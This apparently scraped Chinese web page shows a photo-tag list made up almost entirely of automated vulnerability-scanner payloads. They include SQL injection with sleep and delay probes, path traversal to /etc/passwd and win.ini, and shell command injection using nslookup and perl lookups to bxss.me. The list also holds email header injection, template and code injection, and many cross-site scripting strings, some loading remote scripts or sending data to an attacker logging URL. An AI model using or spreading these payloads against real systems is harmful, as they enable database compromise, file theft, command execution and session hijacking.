×
照片标签：
- 1
- 1dc5nAYhVO
- response.write(9326715*9129008)
- '+response.write(9326715*9129008)+'
- "+response.write(9326715*9129008)+"
- GWsL8b85
- ../../../../../../../../../../../../../../etc/passwd
- ../../../../../../../../../../../../../../windows/win.ini
- echo ltryih$()\ uxxmlo\nz^xyu||a #' &echo ltryih$()\ uxxmlo\nz^xyu||a #|" &echo ltryih$()\ uxxmlo\nz^xyu||a #
- rV1JRphd
- &echo ukfege$()\ mzmkef\nz^xyu||a #' &echo ukfege$()\ mzmkef\nz^xyu||a #|" &echo ukfege$()\ mzmkef\nz^xyu||a #
- -1 OR 2+511-511-1=0+0+0+1 --
- ../1
- |echo wfttxy$()\ hbtwmc\nz^xyu||a #' |echo wfttxy$()\ hbtwmc\nz^xyu||a #|" |echo wfttxy$()\ hbtwmc\nz^xyu||a #
- -1 OR 2+313-313-1=0+0+0+1
- to@example.com> bcc:074625.19568-221464.19568.70b23.19131.2@bxss.me
- (nslookup hitcptgbnducna67ee.bxss.me||perl -e "gethostbyname('hitcptgbnducna67ee.bxss.me')")
- -1' OR 2+528-528-1=0+0+0+1 --
- $(nslookup hitzkvrfpjldz18458.bxss.me||perl -e "gethostbyname('hitzkvrfpjldz18458.bxss.me')")
- -1' OR 2+695-695-1=0+0+0+1 or '4MEtjm4J'='
- &(nslookup hitegezcbqqul2994c.bxss.me||perl -e "gethostbyname('hitegezcbqqul2994c.bxss.me')")&'\"`0&(nslookup hitegezcbqqul2994c.bxss.me||perl -e "gethostbyname('hitegezcbqqul2994c.bxss.me')")&`'
- -1" OR 2+659-659-1=0+0+0+1 --
- |(nslookup hitxiipltjody2a5a8.bxss.me||perl -e "gethostbyname('hitxiipltjody2a5a8.bxss.me')")
- if(now()=sysdate()
- sleep(15)
- 0)
- `(nslookup hituxgdmvviruc41b4.bxss.me||perl -e "gethostbyname('hituxgdmvviruc41b4.bxss.me')")`
- 0'XOR(if(now()=sysdate()
- 0))XOR'Z
- 0"XOR(if(now()=sysdate()
- 0))XOR"Z
- (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
- -1
- -1)
- 1<esi:include src="http://bxss.me/rpb.png"/>
- 12345'"\'\")
- 1 waitfor delay '0:0:15' --
- MVvPy2k6'
- -5 OR 851=(SELECT 851 FROM PG_SLEEP(15))--
- ${9999274+10000102}
- -5) OR 221=(SELECT 221 FROM PG_SLEEP(15))--
- -1)) OR 933=(SELECT 933 FROM PG_SLEEP(15))--
- UsOB7TJH' OR 816=(SELECT 816 FROM PG_SLEEP(15))--
- 51zJALQU') OR 604=(SELECT 604 FROM PG_SLEEP(15))--
- Bzd0zlE2')) OR 116=(SELECT 116 FROM PG_SLEEP(15))--
- 1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99)
- 15)
- 1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98)
- 15)||'
- 1&n923551=v941391
- '||(select 1 from (select pg_sleep(15))x)||'
- http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg
- ''||(select 1 from (select pg_sleep(15))x)||''
- 1'"
- 1some_inexistent_file_with_long_name .jpg
- 1 %2527%2522
- Http://bxss.me/t/fit.txt
- @@0JI54
- http://bxss.me/t/fit.txt?.jpg
- bxss.me
- )
- !(()&&!|*|*|
- '.gethostbyname(lc('hitwp'.'sfegxoft476e2.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(119).chr(83).chr(108).chr(76).'
- '"()
- ^(#$!@#$)(()))******
- ".gethostbyname(lc("hitac"."aphgqonpe44a9.bxss.me."))."A".chr(67).chr(hex("58")).chr(104).chr(74).chr(116).chr(81)."
- HttP://bxss.me/t/xss.html?%00
- bxss.me/t/xss.html?%00
- "+"A".concat(70-3).concat(22*4).concat(99).concat(75).concat(109).concat(77)+(require"socket" Socket.gethostbyname("hitks"+"vkohlygheff71.bxss.me.")[3].to_s)+"
- '
- '+'A'.concat(70-3).concat(22*4).concat(114).concat(70).concat(102).concat(67)+(require'socket' Socket.gethostbyname('hitwb'+'yudkyswq13f0c.bxss.me.')[3].to_s)+'
- "
- ${@print(md5(31337))}
- bibs
- ${@print(md5(31337))}\
- '.print(md5(31337)).'
- )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
- bibs/.
- /xfs.bxss.me
- '"
- <!--
- 1'"()&%<acx><ScRiPt >EET2(9410)</ScRiPt>
- '"()&%<acx><ScRiPt >EET2(9978)</ScRiPt>
- 19616488
- response.write(9549303*9085023)
- '+response.write(9549303*9085023)+'
- "+response.write(9549303*9085023)+"
- on6um2ra
- echo qramlp$()\ wwkfcn\nz^xyu||a #' &echo qramlp$()\ wwkfcn\nz^xyu||a #|" &echo qramlp$()\ wwkfcn\nz^xyu||a #
- &echo wlaonw$()\ mzuamb\nz^xyu||a #' &echo wlaonw$()\ mzuamb\nz^xyu||a #|" &echo wlaonw$()\ mzuamb\nz^xyu||a #
- |echo yoeuja$()\ bucylo\nz^xyu||a #' |echo yoeuja$()\ bucylo\nz^xyu||a #|" |echo yoeuja$()\ bucylo\nz^xyu||a #
- (nslookup hituojkanicyu15f37.bxss.me||perl -e "gethostbyname('hituojkanicyu15f37.bxss.me')")
- $(nslookup hitqcgxoqfmkx780a5.bxss.me||perl -e "gethostbyname('hitqcgxoqfmkx780a5.bxss.me')")
- &(nslookup hitwzfemibxbd7a6c4.bxss.me||perl -e "gethostbyname('hitwzfemibxbd7a6c4.bxss.me')")&'\"`0&(nslookup hitwzfemibxbd7a6c4.bxss.me||perl -e "gethostbyname('hitwzfemibxbd7a6c4.bxss.me')")&`'
- |(nslookup hitpytinupkfp3bda8.bxss.me||perl -e "gethostbyname('hitpytinupkfp3bda8.bxss.me')")
- 1%0abcc:074625.19568-290075.19568.f1189.19131.2@bxss.me
- `(nslookup hitpbfsecbcvde180a.bxss.me||perl -e "gethostbyname('hitpbfsecbcvde180a.bxss.me')")`
- to@example.com>%0d%0abcc:074625.19568-290076.19568.f1189.19131.2@bxss.me
- ${10000285+9999202}
- 1&n972509=v986388
- http://some-inexistent-website.acu/some_inexistent_file_with_long_name%3F.jpg
- 1some_inexistent_file_with_long_name%00.jpg
- http://bxss.me/t/fit.txt%3F.jpg
- '.gethostbyname(lc('hitid'.'mudvyungd8cf0.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(105).chr(78).chr(120).chr(87).'
- ".gethostbyname(lc("hitde"."egsqopzob0d5e.bxss.me."))."A".chr(67).chr(hex("58")).chr(105).chr(83).chr(100).chr(79)."
- "+"A".concat(70-3).concat(22*4).concat(108).concat(72).concat(109).concat(81)+(require"socket" Socket.gethostbyname("hitgf"+"vmzculjt3144f.bxss.me.")[3].to_s)+"
- '+'A'.concat(70-3).concat(22*4).concat(115).concat(78).concat(105).concat(87)+(require'socket' Socket.gethostbyname('hitql'+'ewfiesqpb8c9a.bxss.me.')[3].to_s)+'
- ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
- ';print(md5(31337));$a='
- ";print(md5(31337));$a="
- 1'"()&%<acx><ScRiPt >ROcV(9410)</ScRiPt>
- '"()&%<acx><ScRiPt >ROcV(9462)</ScRiPt>
- 19302732
- acu1126%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca1126
- acux4916%C0%BEz1%C0%BCz2a%90bcxuca4916
- 1BL3hZfTf6O
- <%={{={@{#{${acx}}%>
- <th:t="${acx}#foreach
- 1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>
- acx{{98991*97996}}xca
- acx[[${98991*97996}]]xca
- acx__${98991*97996}__::.x
- "acxzzzzzzzzbbbccccdddeeexca".replace("z"
- "o")
- acu1669%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca1669
- acux2675%C0%BEz1%C0%BCz2a%90bcxuca2675
- C7lEK4g8
- -1 OR 2+758-758-1=0+0+0+1 --
- -1 OR 2+171-171-1=0+0+0+1
- -1' OR 2+165-165-1=0+0+0+1 --
- -1' OR 2+915-915-1=0+0+0+1 or 'DgX5HeSl'='
- -1" OR 2+597-597-1=0+0+0+1 --
- -1; waitfor delay '0:0:15' --
- -1); waitfor delay '0:0:15' --
- acu6097%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca6097
- VJxVygYn'; waitfor delay '0:0:15' --
- -5 OR 701=(SELECT 701 FROM PG_SLEEP(15))--
- acux3271%C0%BEz1%C0%BCz2a%90bcxuca3271
- -5) OR 711=(SELECT 711 FROM PG_SLEEP(15))--
- -1)) OR 515=(SELECT 515 FROM PG_SLEEP(15))--
- F1WF72Et' OR 251=(SELECT 251 FROM PG_SLEEP(15))--
- cv72JVa3') OR 830=(SELECT 830 FROM PG_SLEEP(15))--
- f5QsXAJR')) OR 623=(SELECT 623 FROM PG_SLEEP(15))--
- @@e8sLg
- 1%22onmouseover=ROcV(99722)%22
- 1"onmouseover=ROcV(96732)"
- 1" NjpN=ROcV([!+!]) iyt="
- 1\u0022onmouseover=ROcV(96903)\u0022
- %31%22%6F%6E%6D%6F%75%73%65%6F%76%65%72%3D%52%4F%63%56%28%39%39%30%35%34%29%22
- 1"sTYLe='acu:Expre/**/SSion(ROcV(9794))'bad="
- 1"><script>ROcV(9737)</script>
- 1<ScRiPt >ROcV(9637)</ScRiPt>
- 1<WWHQFB>FEEMH[!+!]</WWHQFB>
- 1<script>ROcV(9655)</script>
- 1%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%52%4F%63%56%28%39%38%35%39%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E
- 1<ScRiPt >ROcV(9303)</ScRiPt>
- 1<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9526></ScRiPt>
- 1< ScRiPt >ROcV(9294)</ScRiPt>
- 1<isindex type=image src=1 onerror=ROcV(9706)>
- 1<iframe src='data:text/html;base64
- PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9959'>
- 1<body onload=ROcV(9941)>
- 1<img src=//xss.bxss.me/t/dot.gif onload=ROcV(9804)>
- 1<img src=xyz OnErRor=ROcV(9746)>
- 1<img/src=">" onerror=alert(9287)>
- %31%3C%53%63%52%69%50%74%20%3E%52%4F%63%56%289123%29%3C%2F%73%43%72%69%70%54%3E
- 1\u003CScRiPt\ROcV(9989)\u003C/sCripT\u003E
- 1<ScRiPt>ROcV(9650)</sCripT>
- 1<input autofocus onfocus=ROcV(9132)>
- <a HrEF=http://xss.bxss.me></a>
- <a HrEF=jaVaScRiPT:>
- 1}body{acu:Expre/**/SSion(ROcV(9681))}
- 1VomBC <ScRiPt >ROcV(9102)</ScRiPt>
- 1<WFXPYP>OYO8E[!+!]</WFXPYP>
- 1<ifRAme sRc=9233.com></IfRamE>
- 1<a3inz1m x=9836>
- 1<img sRc='http://attacker-9035/log.php?
- 1<a9nQ3eC<
- response.write(9830780*9963765)
- 34AsXByv
- '+response.write(9830780*9963765)+'
- "+response.write(9830780*9963765)+"
- echo klozdb$()\ foalqe\nz^xyu||a #' &echo klozdb$()\ foalqe\nz^xyu||a #|" &echo klozdb$()\ foalqe\nz^xyu||a #
- &echo doyuuq$()\ alacfk\nz^xyu||a #' &echo doyuuq$()\ alacfk\nz^xyu||a #|" &echo doyuuq$()\ alacfk\nz^xyu||a #
- |echo pjolep$()\ hhhken\nz^xyu||a #' |echo pjolep$()\ hhhken\nz^xyu||a #|" |echo pjolep$()\ hhhken\nz^xyu||a #
- (nslookup hitjxwhuznpfl5f97a.bxss.me||perl -e "gethostbyname('hitjxwhuznpfl5f97a.bxss.me')")
- $(nslookup hitzikzsdmllg33b8d.bxss.me||perl -e "gethostbyname('hitzikzsdmllg33b8d.bxss.me')")
- 1 bcc:074625.19568-304111.19568.70b23.19131.2@bxss.me
- &(nslookup hitguqzagddpf04f4c.bxss.me||perl -e "gethostbyname('hitguqzagddpf04f4c.bxss.me')")&'\"`0&(nslookup hitguqzagddpf04f4c.bxss.me||perl -e "gethostbyname('hitguqzagddpf04f4c.bxss.me')")&`'
- to@example.com> bcc:074625.19568-304112.19568.70b23.19131.2@bxss.me
- |(nslookup hitikjcsggoiybf1a3.bxss.me||perl -e "gethostbyname('hitikjcsggoiybf1a3.bxss.me')")
- `(nslookup hitsuoafpqjzy38e60.bxss.me||perl -e "gethostbyname('hitsuoafpqjzy38e60.bxss.me')")`
- ${10000497+9999472}
- 1&n933084=v976691
- '.gethostbyname(lc('hitia'.'sjmjihpb8dce5.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(108).chr(88).chr(100).chr(81).'
- ".gethostbyname(lc("hityj"."civphboh0de2f.bxss.me."))."A".chr(67).chr(hex("58")).chr(106).chr(75).chr(113).chr(87)."
- LKfMDRcO
- -1 OR 2+621-621-1=0+0+0+1 --
- -1 OR 2+404-404-1=0+0+0+1
- -1' OR 2+796-796-1=0+0+0+1 --
- "+"A".concat(70-3).concat(22*4).concat(102).concat(66).concat(99).concat(65)+(require"socket" Socket.gethostbyname("hitcl"+"mwtzxrwy34264.bxss.me.")[3].to_s)+"
- -1' OR 2+328-328-1=0+0+0+1 or 'MtxXFerG'='
- '+'A'.concat(70-3).concat(22*4).concat(102).concat(85).concat(114).concat(71)+(require'socket' Socket.gethostbyname('hitku'+'qajidrxmb3ec1.bxss.me.')[3].to_s)+'
- -1" OR 2+26-26-1=0+0+0+1 --
- 1'"()&%<acx><ScRiPt >qI9U(9961)</ScRiPt>
- 1'"()&%<acx><ScRiPt >3ns4(9496)</ScRiPt>
- '"()&%<acx><ScRiPt >3ns4(9625)</ScRiPt>
- '"()&%<acx><ScRiPt >qI9U(9941)</ScRiPt>
- 19091116
- 19317713
- SudBdN2T'
- -5 OR 456=(SELECT 456 FROM PG_SLEEP(15))--
- -5) OR 749=(SELECT 749 FROM PG_SLEEP(15))--
- -1)) OR 960=(SELECT 960 FROM PG_SLEEP(15))--
- VfNSzSM5' OR 613=(SELECT 613 FROM PG_SLEEP(15))--
- KsVyh6lX') OR 927=(SELECT 927 FROM PG_SLEEP(15))--
- AMvykmUv')) OR 13=(SELECT 13 FROM PG_SLEEP(15))--
- @@OcieF
微信扫一扫, 保存到手机
